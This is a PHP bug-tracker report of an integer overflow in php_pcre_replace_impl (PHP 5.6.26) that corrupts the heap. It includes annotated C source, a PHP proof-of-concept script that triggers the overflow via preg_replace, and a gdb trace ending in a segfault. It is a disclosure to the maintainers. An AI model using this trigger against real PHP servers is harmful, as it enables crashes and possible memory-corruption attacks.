Bug #73171 [NEW]: heap corruption due to integer overflow
| From: | minhrau dot vc dot 365 at gmail dot com | Date: | Mon, 26 Sep 2016 07:44:08 +0000 |
| Subject: | Bug #73171 [NEW]: heap corruption due to integer overflow | ||
| Groups: | php.bugs | ||
| Request: | Send a blank email to php-bugs+get-204267@lists.php.net to get a copy of this message | ||
From: minhrau dot vc dot 365 at gmail dot com
Operating system: ALL
PHP version: 5.6.26
Package: PCRE related
Bug Type: Bug
Bug description:heap corruption due to integer overflow
Description:
------------
Overflow in function php_pcre_replace_impl will caused to heap
corruption. Please check the comment below and the crash analysis:
PHPAPI char *php_pcre_replace_impl(pcre_cache_entry *pce, char *subject,
int subject_len, zval *replace_val,
int is_callable_replace, int *result_len, int limit, int *replace_count
TSRMLS_DC)
{
...
alloc_len = 2 * subject_len + 1;
result = safe_emalloc(alloc_len, sizeof(char), 0);
...
if (new_len + 1 > alloc_len) {
alloc_len = 1 + alloc_len + 2 * new_len; //the alloc_len here
overflow
new_buf = emalloc(alloc_len);
memcpy(new_buf, result, *result_len);
efree(result);
result = new_buf;
}
/* copy the part of the string before the match */
memcpy(&result[*result_len], piece, match-piece);
*result_len += match-piece;
/* copy replacement and backrefs */
walkbuf = result + *result_len;
/* If evaluating or using custom function, copy result to the buffer
* and clean up. */
if (eval || is_callable_replace) {
memcpy(walkbuf, eval_result, eval_result_len);
*result_len += eval_result_len;
STR_FREE(eval_result);
} else { /* do regular backreference copying */
walk = replace;
walk_last = 0;
while (walk < replace_end) { // this loop for 2147483635 time
if ('\\' == *walk || '$' == *walk) {
if (walk_last == '\\') {
*(walkbuf-1) = *walk++;
walk_last = 0;
continue;
}
if (preg_get_backref(&walk, &backref)) {
if (backref < count) {
match_len = offsets[(backref<<1)+1] - offsets[backref<<1];
memcpy(walkbuf, subject + offsets[backref<<1], match_len);
walkbuf += match_len;
}
continue;
}
}
*walkbuf++ = *walk++; //crash
walk_last = walk[-1];
}
Test script:
---------------
<?php
ini_set('memory_limit', -1);
$string = 'April 15, 2003'.str_repeat('a', 100);
$pattern = '/(\w+) (\d+), (\d+)/i';
$replacement = '${1}1,'.str_repeat('a', 0xffffffff/2-20).'$3';
$a = preg_replace($pattern, $replacement, $string);
?>
Expected result:
----------------
No Crash
Actual result:
--------------
Starting program: /home/minhrau/PHP-5.6.26/sapi/cli/php
~/phptestcase/testpreg_replace.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
Breakpoint 1, php_pcre_replace_impl (pce=0x1622ed0, subject=0x1623720
"April 15, 2003", 'a' <repeats 100 times>, subject_len=114,
replace_val=0x1622160, is_callable_replace=0, result_len=0x7fffffffa61c,
limit=-1, replace_count=0x7fffffffa5ec) at
/home/minhrau/PHP-5.6.26/ext/pcre/php_pcre.c:1213
1213 if (new_len + 1 > alloc_len) {
(gdb) p new_len+1
$6 = 2147483639
(gdb) p alloc_len
$7 = 229
(gdb) b php_pcre.c:1149
Breakpoint 2 at 0x503c5f: file
/home/minhrau/PHP-5.6.26/ext/pcre/php_pcre.c, line 1149.
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/minhrau/PHP-5.6.26/sapi/cli/php
~/phptestcase/testpreg_replace.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
Breakpoint 2, php_pcre_replace_impl (pce=0x1622ed0, subject=0x1623720
"April 15, 2003", 'a' <repeats 100 times>, subject_len=114,
replace_val=0x1622160, is_callable_replace=0, result_len=0x7fffffffa61c,
limit=-1, replace_count=0x7fffffffa5ec) at
/home/minhrau/PHP-5.6.26/ext/pcre/php_pcre.c:1149
1149 result = safe_emalloc(alloc_len, sizeof(char), 0);
(gdb) p alloc_len
$8 = 229
(gdb) p subject_len
$9 = 114
(gdb) c
Continuing.
Breakpoint 1, php_pcre_replace_impl (pce=0x1622ed0, subject=0x1623720
"April 15, 2003", 'a' <repeats 100 times>, subject_len=114,
replace_val=0x1622160, is_callable_replace=0, result_len=0x7fffffffa61c,
limit=-1, replace_count=0x7fffffffa5ec) at
/home/minhrau/PHP-5.6.26/ext/pcre/php_pcre.c:1213
1213 if (new_len + 1 > alloc_len) {
(gdb) step
1214 alloc_len = 1 + alloc_len + 2 * new_len;
(gdb) p 1 + alloc_len + 2 * new_len
$10 = 210
(gdb) p alloc_len
$11 = 229
(gdb) p new_len
$12 = 2147483638
(gdb) step
1215 new_buf = emalloc(alloc_len);
(gdb) p alloc_len
$13 = 210
(gdb) step
_emalloc (size=210) at /home/minhrau/PHP-5.6.26/Zend/zend_alloc.c:2426
2426 if (UNEXPECTED(!AG(mm_heap)->use_zend_alloc)) {
(gdb)
2427 return AG(mm_heap)->_malloc(size);
(gdb)
2430 }
(gdb)
php_pcre_replace_impl (pce=0x1622ed0, subject=0x1623720 "April 15,
2003", 'a' <repeats 100 times>, subject_len=114, replace_val=0x1622160,
is_callable_replace=0, result_len=0x7fffffffa61c, limit=-1,
replace_count=0x7fffffffa5ec) at
/home/minhrau/PHP-5.6.26/ext/pcre/php_pcre.c:1216
1216 memcpy(new_buf, result, *result_len);
(gdb)
1217 efree(result);
(gdb)
_efree (ptr=0x1622f80) at
/home/minhrau/PHP-5.6.26/Zend/zend_alloc.c:2436
2436 if (UNEXPECTED(!AG(mm_heap)->use_zend_alloc)) {
(gdb)
2437 AG(mm_heap)->_free(ptr);
(gdb)
2438 return;
(gdb)
2441 }
(gdb)
php_pcre_replace_impl (pce=0x1622ed0, subject=0x1623720 "April 15,
2003", 'a' <repeats 100 times>, subject_len=114, replace_val=0x1622160,
is_callable_replace=0, result_len=0x7fffffffa61c, limit=-1,
replace_count=0x7fffffffa5ec) at
/home/minhrau/PHP-5.6.26/ext/pcre/php_pcre.c:1218
1218 result = new_buf;
(gdb)
1221 memcpy(&result[*result_len], piece, match-piece);
(gdb) p match-piece
$14 = 0
(gdb) step
1222 *result_len += match-piece;
(gdb)
1225 walkbuf = result + *result_len;
(gdb) p *result_len
$15 = 0
(gdb) p result
$16 = 0x1623070 "(\\1\361\377\177"
(gdb) c
Continuing.
Breakpoint 3, php_pcre_replace_impl (pce=0x1622ed0, subject=0x1623720
"April 15, 2003", 'a' <repeats 100 times>, subject_len=114,
replace_val=0x1622160, is_callable_replace=0, result_len=0x7fffffffa61c,
limit=-1, replace_count=0x7fffffffa5ec) at
/home/crazyboy/PHP-5.6.26/ext/pcre/php_pcre.c:1236
1236 while (walk < replace_end) {
(gdb) p replace_end - walk
$17 = 2147483635
Program received signal SIGSEGV, Segmentation fault.
0x00000000005041e9 in php_pcre_replace_impl (pce=0x1622ed0,
subject=0x1623720 'a' <repeats 200 times>..., subject_len=114,
replace_val=0x1622160, is_callable_replace=0, result_len=0x7fffffffa61c,
limit=-1, replace_count=0x7fffffffa5ec) at
/home/minhrau/PHP-5.6.26/ext/pcre/php_pcre.c:1252
1252 *walkbuf++ = *walk++;
(gdb)
--
Edit bug report at https://bugs.php.net/bug.php?id=73171&edit=1
--
Try a snapshot (PHP 5.4): https://bugs.php.net/fix.php?id=73171&r=trysnapshot54
Try a snapshot (PHP 5.5): https://bugs.php.net/fix.php?id=73171&r=trysnapshot55
Try a snapshot (trunk): https://bugs.php.net/fix.php?id=73171&r=trysnapshottrunk
Fixed in SVN: https://bugs.php.net/fix.php?id=73171&r=fixed
Fixed in release: https://bugs.php.net/fix.php?id=73171&r=alreadyfixed
Need backtrace: https://bugs.php.net/fix.php?id=73171&r=needtrace
Need Reproduce Script: https://bugs.php.net/fix.php?id=73171&r=needscript
Try newer version: https://bugs.php.net/fix.php?id=73171&r=oldversion
Not developer issue: https://bugs.php.net/fix.php?id=73171&r=support
Expected behavior: https://bugs.php.net/fix.php?id=73171&r=notwrong
Not enough info: https://bugs.php.net/fix.php?id=73171&r=notenoughinfo
Submitted twice: https://bugs.php.net/fix.php?id=73171&r=submittedtwice
register_globals: https://bugs.php.net/fix.php?id=73171&r=globals
PHP 4 support discontinued: https://bugs.php.net/fix.php?id=73171&r=php4
Daylight Savings: https://bugs.php.net/fix.php?id=73171&r=dst
IIS Stability: https://bugs.php.net/fix.php?id=73171&r=isapi
Install GNU Sed: https://bugs.php.net/fix.php?id=73171&r=gnused
Floating point limitations: https://bugs.php.net/fix.php?id=73171&r=float
No Zend Extensions: https://bugs.php.net/fix.php?id=73171&r=nozend
MySQL Configuration Error: https://bugs.php.net/fix.php?id=73171&r=mysqlcfg